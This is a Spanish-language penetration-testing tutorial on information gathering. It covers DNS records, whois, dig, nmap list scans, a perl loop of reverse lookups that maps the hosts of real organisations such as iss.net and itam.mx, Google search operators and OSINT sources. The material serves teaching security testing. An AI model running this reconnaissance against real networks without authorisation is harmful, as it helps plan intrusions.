itam.mx. 3600 IN MX 10 stockton.itam.mx.
itam.mx. 3600 IN MX 10 malone.itam.mx.
0r3dac14d.itam.mx. 1200 IN A 148.205.197.15
eventos.itam.mx. 3600 IN CNAME ddip.itam.mx.
www.eventos.itam.mx. 3600 IN CNAME ddip.itam.mx.
exalumnos.itam.mx. 3600 IN CNAME ddip.itam.mx.
www.exalumnos.itam.mx. 3600 IN CNAME ddip.itam.mx.
exalumnos_conta.itam.mx. 3600 IN CNAME phobos.itam.mx.
executivemba.itam.mx. 3600 IN CNAME phobos.itam.mx.
www.executivemba.itam.mx. 3600 IN CNAME phobos.itam.mx.
expo-itam.itam.mx. 1200 IN A 148.205.220.21
extension.itam.mx. 3600 IN CNAME titan2.itam.mx.
edit.extension.itam.mx. 3600 IN CNAME titan2.itam.mx.
etc
etc
etc

Los resultados anteriores nos permiten determinar muchas cosas relativas al direccionamiento así como los subdominios de la organización de quien estamos recopilando información.

En el caso del dominio ITAM, se puede determinar que su bloque de red es 148.205.228.X y además la identificación del tipo de nombres que utilizan para sus equipos.

Otra forma es hacer la búsqueda es mediante google:

inurl:itam.mx

La búsqueda anterior nos permite conocer subdominios del itam.mx

Bloques de red

Con la información encontrada anteriormente ya es posible determinar los bloques de red que tiene una organización, y conocer si algunos servicios están hosteados.

Sigamos el rastro del dominio iss.net

slax ~ # whois iss.net

Registrant:
Internet Security Systems, Inc.
6303 Barfield Rd
Atlanta, GA 30328
US

Domain Name: ISS.NET

Administrative Contact, Technical Contact:
Internet Security Systems Inc. iss-dnsadmin@ISS.NET
6303 BARFIELD RD NE
ATLANTA, GA 30328-4233
US
(404) 236-2600 fax: (404) 236-2614

Record expires on 29-Jun-2012.
Record created on 30-Jun-1994.
Database last updated on 10-Aug-2006 12:17:24 EDT.

Domain servers in listed order:

EHECATL.ISS.NET 209.134.161.10
SFLD-NS1.NETREX.COM 207.231.129.132

Con la información anterior podemos determinar que el servidor primario de DNS es administrado por la organización. Ahora realizaremos una búsqueda ANY.

slax ~ # dig any @209.134.161.10 iss.net

; <<>> DiG 9.3.1 <<>> any @209.134.161.10 iss.net
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65516
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 5

;; QUESTION SECTION:
;iss.net. IN ANY

;; ANSWER SECTION:
iss.net. 60 IN SOA ehecatl.iss.net. iss-dnsadmin.is s.net. 2006080802 3600 1800 604800 3600
iss.net. 60 IN NS sfld-ns1.netrex.com.
iss.net. 60 IN NS ehecatl.iss.net.
iss.net. 60 IN MX 10 colo-mx1.iss.net.
iss.net. 60 IN MX 10 sfld-mx1.iss.net.
iss.net. 60 IN MX 5 atla-mx1.iss.net.
iss.net. 60 IN A 209.134.161.35

;; ADDITIONAL SECTION:
ehecatl.iss.net. 60 IN A 209.134.161.10
sfld-ns1.netrex.com. 3600 IN A 207.231.129.132
atla-mx1.iss.net. 60 IN A 209.134.161.6
colo-mx1.iss.net. 60 IN A 12.129.100.18
sfld-mx1.iss.net. 60 IN A 207.231.129.133

;; Query time: 353 msec
;; SERVER: 209.134.161.10#53(209.134.161.10)
;; WHEN: Mon Aug 7 15:55:37 2006
;; MSG SIZE rcvd: 300

De la información de la búsqueda podemos determinar que existen dos bloques diferentes de red que responden a equipos tipo A del dominio principal los cuales son:

• 209.134.161.X
• 207.231.129.X

Cada uno de ellos de diferentes ISP, con lo cual podemos comenzar a realizar un mapa de la arquitectura de Red de la organización.

Lo que se hará a continuación es resolver cada unos de los equipos en los diferentes bloques de red, para de esta manera identificar los equipos de la organización.

¿Qué herramientas pueden ayudarnos a esto?

• Nmap
• Host
• Nslookup
• Etc.

Si deseamos realizar la tarea con nmap, el comando que se sugiere utilizar es el siguiente:

‘nmap -sL -P0 –dns-server DNS Red –R’

>>nmap -sL -P0 –dns-servers 209.134.161.10 209.134.161.1/24

Starting Nmap 4.01 ( http://www.insecure.org/nmap ) at 2006-12-04 16
Failed to resolve given hostname/IP: ûR. Note that you can’t use ‘/
e IP ranges
Host 209.134.161.0 not scanned
Host 209.134.161.1 not scanned
Host atla-ngw5-a-ext.iss.net (209.134.161.2) not scanned
Host atla-ngw5-b-ext.iss.net (209.134.161.3) not scanned
Host 209.134.161.4 not scanned
Host 209.134.161.5 not scanned
Host atla-mx1.iss.net (209.134.161.6) not scanned
Host lists.it-isac.org (209.134.161.7) not scanned

También es posible realizar la resolución de nombres utilizando ‘host’ y ‘perl’:

perl -e ‘for ($x=1;$x<=254;$x++){system “host 209.134.161.$x 209.134.161.10″}’

Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

Host 1.161.134.209.in-addr.arpa not found: 3(NXDOMAIN)
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

2.161.134.209.in-addr.arpa domain name pointer atla-ngw5-a-ext.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

3.161.134.209.in-addr.arpa domain name pointer atla-ngw5-b-ext.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

6.161.134.209.in-addr.arpa domain name pointer atla-mx1.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

Realizando la misma búsqueda sobre el otro servidor de dominio y el otro segmento de red nos da el siguiente resultado:

perl -e ‘for ($x=1;$x<=254;$x++){system “host 207.231.129.$x 207.231.129.132″}’ | grep iss.net

5.129.231.207.in-addr.arpa domain name pointer sfld-ngw1a.iss.net.
6.129.231.207.in-addr.arpa domain name pointer sfld-ngw1.iss.net.
7.129.231.207.in-addr.arpa domain name pointer sfld-ngw1b.iss.net.
9.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw1.iss.net.
11.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw1.mss.iss.net.
12.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw2.mss.iss.net.
18.129.231.207.in-addr.arpa domain name pointer sfld-perim1.iss.net.
19.129.231.207.in-addr.arpa domain name pointer sfld-perim2.iss.net.
24.129.231.207.in-addr.arpa domain name pointer sfld-raw1.iss.net.
25.129.231.207.in-addr.arpa domain name pointer sfld-raw2.iss.net.
68.129.231.207.in-addr.arpa domain name pointer sfld-netrwww.mss.iss.net.129.231.207.in-addr.arpa.
133.129.231.207.in-addr.arpa domain name pointer sfld-mx1.iss.net.
134.129.231.207.in-addr.arpa domain name pointer sfld-mx2.iss.net.
196.129.231.207.in-addr.arpa domain name pointer soudom001.iss.net.
197.129.231.207.in-addr.arpa domain name pointer soumaiexcp01.iss.net.
198.129.231.207.in-addr.arpa domain name pointer soumaiwebp01.iss.net.
199.129.231.207.in-addr.arpa domain name pointer bkup-sfld01.iss.net.
200.129.231.207.in-addr.arpa domain name pointer soufil002.iss.net.
201.129.231.207.in-addr.arpa domain name pointer souprn001.iss.net.
202.129.231.207.in-addr.arpa domain name pointer soubacnbup01.iss.net.
203.129.231.207.in-addr.arpa domain name pointer sfld-rad2.iss.net.
204.129.231.207.in-addr.arpa domain name pointer sfld-remedy1.mss.iss.net.
205.129.231.207.in-addr.arpa domain name pointer sfld-fax1.iss.net.
211.129.231.207.in-addr.arpa domain name pointer sfld-ccur.iss.net.
212.129.231.207.in-addr.arpa domain name pointer soudom002.iss.net.
213.129.231.207.in-addr.arpa domain name pointer soumaipmfp01.iss.net.

De esta manera podemos identificar los segmentos de red de una organización así como los equipos que cuentan con un registro en el servidor de dominio.

Para aquellas personas a las que no les guste trabajar en línea de comandos, BiDiBlAH de Sensepost es una herramienta que nos permite realizar estas búsquedas de manera automatizada. A continuación se muestran una serie de pantallas utilizando la herramienta mencionada anteriormente.

La información de nombres de dominio y bloques de red brinda a los hackers (o penetrations testers) mucha información para la creación de la arquitectura de red de la organización, además de que constituye el preámbulo para la detección de servicios públicos de la misma.

La siguiente parte del artículo, se enfocara a la detección ser servicios Públicos donde se trataran cosas desde nombres de host hasta escaneos de puertos, así como la obtención de versiones de servicios.

En la vida cotidiana de hacker o un penetration tester la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y la medición de los tiempos que tomaran los ataques. Esto nos da un perfil completo de las políticas de seguridad del objetivo a atacar. Seguir el rastro es, con frecuencia, la tarea mas ardua a la hora de determinar la filosofía de seguridad de una empresa, sin embargo, es una de las tareas más importantes.

Entre la información que debemos recolectar se encuentra:

• Información descubierta en fuentes publicas.
• Nombres de dominio.
• Segmentos de red
• Servicios públicos ofrecidos.
• Arquitectura de los sistemas visibles.

Aunque muchas técnicas de rastreo de información son muy parecidas resulta muy difícil dar una guía paso a paso para efectuar el seguimiento a esta información. El objetivo en este artículo es enumerar los pasos básicos que se pueden utilizar en la mayoría de los casos. Es importante mencionar que los pasos no son consecutivos, ni lineales, ni únicos; la información recabada en cada punto a tratar puede ser utilizada o necesaria para otros. No se darán ejemplos de todas las técnicas ni tipo de información buscada, pero si se dejaran las bases para dejar volar la imaginación y crear otros caminos.

La mayoría de las pruebas o tareas a realizar son casi indetectables por los administradores de red ya que muchas son búsquedas de información sin tocar la infraestructura del objetivo. Es importante mencionar que algunas de las técnicas mostradas a continuación (como escaneos de puertos) son ilegales en muchas partes del mundo a menos que se cuente con permiso explicito de la organización.

El articulo fue pensado para salir en una sola entrega pero por le tamaño del mismo sera liberado en diferentes articulos mas pequeños.

Información descubierta en fuentes publicas ( Inteligencia competitiva).

Toda organización moderna tiene presencia en Internet, la gran cantidad de información que puede ser obtenida en Internet es increíble. ¿Que tipo de información es posible encontrar?:

• Ubicaciones físicas y logias.
• Compañías o entidades relacionadas.
• Noticias.
• Números telefónicos.
• Contactos de la compañía.
• Información mal intencionada o de desprestigio.
• Directivas de seguridad.
• Archivos de configuración.
• Currículos de personal.
• Arquitecturas de red.
• Tecnologías utilizadas.
• Etc…Todo es posible solo imagínate y buscaló.

Lo primero que debemos recordar es que Google es nuestro amigo, y en muchas ocasiones todo lo sabe, sin embargo no es la única fuente donde buscar información. A continuación listo algunos de los sitios que pueden contener información valiosa para nuestro objetivo:

• Google
• Usenet
• Groups.google
• http://archives.neohapsis.com
• NIC ( O su representante dependiendo la localidad donde nos encontremos)
  • Europa y África http://www.ripe.net
  • Norte y Sur América http://www.arin.net
  • Asia Pacifico http://www.apnic.net
  • http://www.ripe.net
• Edgar Database
• La pagina de la compañía.
• Paginas que hablen mal de compañías:
  • www.apestan.com
  • www.f u c k edcompany.com
  • www.dotcomtod.de
• Buscar en base de datos de ofertas de trabajo en línea:
  • OCC Mundial
  • Lucas5
  • Laborum
• Fuentes P2P como kazaa,Gnutella así como sitios warez

Casi siempre nuestras búsquedas de información comienzan con Google, por su versatilidad y gran poder de búsqueda. Google cuenta con palabras claves que nos permiten realizar búsquedas mas especializadas de información a continuación mencionare algunas de ellas:

• intitle ( Nos permite realizar búsquedas en los títulos de las paginas web)
• inurl ( Nos permite realizar búsquedas en los URL de las paginas)
• filetype ( Nos permite definir las búsquedas de ciertos tipos de archivos)
• site ( Nos permite definir la búsqueda en sitios concretos)
• cache ( Realizamos búsquedas en e cache de google y aun que las paginas ya no existan mas podremos encontrar información valiosa)
• info ( Información relacionada con nuestra búsqueda)
• autor ( Buscar información que ha publicado un autor en especifico)
• group( Búsqueda en grupos de google)
• insubject ( Búsqueda de mensajes en su Asunto)

La manera de usarlo es: ‘operador avanzado:lo que buscamos’. Un buen ejemplo para mostrar es el siguiente:

intitle:”index of” + ebooks +”Google Hacking”

La combinación anterior nos permitirá buscar el Libro Google Hacking donde podemos aprender mas de como utilizar google para nuestros propósitos. ( Recuerda siempre comprar los libros que utilices)

Otro buscador donde podemos encontrar mucha información es : http://www.kartoo.com/

kartoo es un innovador buscador que nos permite generar mapas de la información que buscamos. A que me refiero con mapas, ver de una manera gráfica donde se menciona la información de la busqueda realiza a continuación muestro una imagen de una búsqueda de la palabra darkslaker

Como se puede notar la palabra se relaciona con listas de seguridad informática, asi como otros seudonimos como Rienzi.

Con este tipo de búsquedas podemos encontrar la relaciones de organizaciones, con personas.

Otro buen lugar para buscar información de organizaciones es la busqueda de Curriculums o vacantes en las organizaciones a continuación muestro un ejemplo de una vacante:

Nivel de Estudios: Ingeniero en Sistemas Computacionales, enfocado a telecomunicaciones
Experiencia: Mínima de 2 - 3 años comprobables en puesto similar
Amplio dominio de Sistemas Operativos
Alto nivel en Administración y configuración de redes
Alto nivel en Redes de Voz/Datos (TCP/IP, routing, firewall, QoS, DNS)
Alto nivel de conocimiento en Hardware orientado a Telecomunicaciones
Análisis, diseño e implementación de esquemas de alta seguridad
Amplio dominio de Sistemas Operativos Windows NT, 200X Server
Amplio dominio de Conmutadores y PBX
Alto grado de resposabilidad y compromiso
Trabajo bajo presión y metas Disponibilidad de horario Disponibilidad Inmediata
Alta capacidad de aprendizaje rápido
Inglés técnico mínimo: 80% Conocimientos de Citrix y Cisco Indispensable
EstabilidadAgradable ambiente laboral 

La información que se muestra en color rojo, nos puede brindar un mapa de las tecnologías que utiliza la organización.

Un par de lugares mas que nos puede ayudar a conocer las tecnologías de una organización es :

http://www.archive.org La cual nos brinca un histórico de como eran las paginas web, a medida del tiempo, con esto podemos crear un mapa de las tecnologías en sitios web.

http://www.netcraft.com Nos permite una mirada de un historico de las técnologias en servidores Web y provedores de servicios en una organización, la siguiente imagen nos muestra un historico de www.nimrod.com.mx

La información que podemos encontrar me manera publica es inmensa y las posibilidades se extiende con tiempo y deseos de encontrarla.

En la siguiente entrega del articulo se mostrara como identificar nombres de dominio de una organización así como los segmentos de red públicos de la misma y sus ISP.